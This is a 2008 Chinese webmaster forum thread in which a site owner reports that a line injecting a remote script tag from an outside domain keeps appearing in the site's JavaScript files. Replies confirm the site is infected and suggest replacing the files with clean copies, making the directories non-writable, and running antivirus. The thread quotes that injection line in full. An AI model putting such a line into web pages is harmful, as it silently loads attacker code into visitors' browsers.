难道这样就是被挂马了？？

dw236 · 发表于 2008-7-28 12:54:37

网站目录里面的 .JS文件
include/
下面的
总会是出现
document.writeln("<script src=\"http://union1860%2Ecn\"><\/script>");

这是木马的代码？？？？？
哪位高人指点下
如何防止这样的情况阿

SSAY · 发表于 2008-7-28 13:02:20

装个卡巴7.0 就OK了,但已经中毒了的,请直接先修改..

lilovelo · 发表于 2008-7-28 13:15:36

却实挂马了

maikongjian14c · 发表于 2008-7-28 13:49:37

被挂马了，去清楚一下，在杀杀毒

yuesebar · 发表于 2008-7-29 06:26:11

请严格按照安装方法的提示，设置各个文件夹的可写属性，对include和JS这类存放JS文件的目录，设置为不可写。

以上document.writeln("<script src=\"http://union1860%2Ecn\"><\/script>"); 是ARP攻击，据我所知，有近1000个SS网站在近期遭到类似攻击。都是因为不注重服务器安全所导致的后果。

长时间不做清理的话，谷歌会直接屏蔽你的网站。提示该网站可能存在风险，并降权，严重者直接K站。

yuesebar · 发表于 2008-7-29 06:27:30

解决办法就是，重新下载官方程序，然后替换所有JS文件，并设置不可写属性。然后去谷歌网站申请重新审核。

dw236 · 发表于 2008-7-30 11:47:59

有些JS文件没有找到
可是还是会提示

dw236 · 发表于 2008-7-30 14:41:23

怎么才能彻底解决掉阿
我删掉以后没多久就又有了```````

我还把它们的文件权限设置为555
只有三个写入没有打勾
又没有什么方法彻底搞定阿

lcscc · 发表于 2008-7-30 16:55:41

同样求解~``

dw236 · 发表于 2008-7-30 19:11:33

我下载了新的网站程序
在电脑搜索出所有的JS文件
然后覆盖服务器上面的文件
把这些文件权限的写入权限去掉
现在还没有发现提示有病毒
明天再测试下如果没问题你也可以这样解决

		自动登录	找回密码
密码			立即注册

[疑难] 难道这样就是被挂马了？？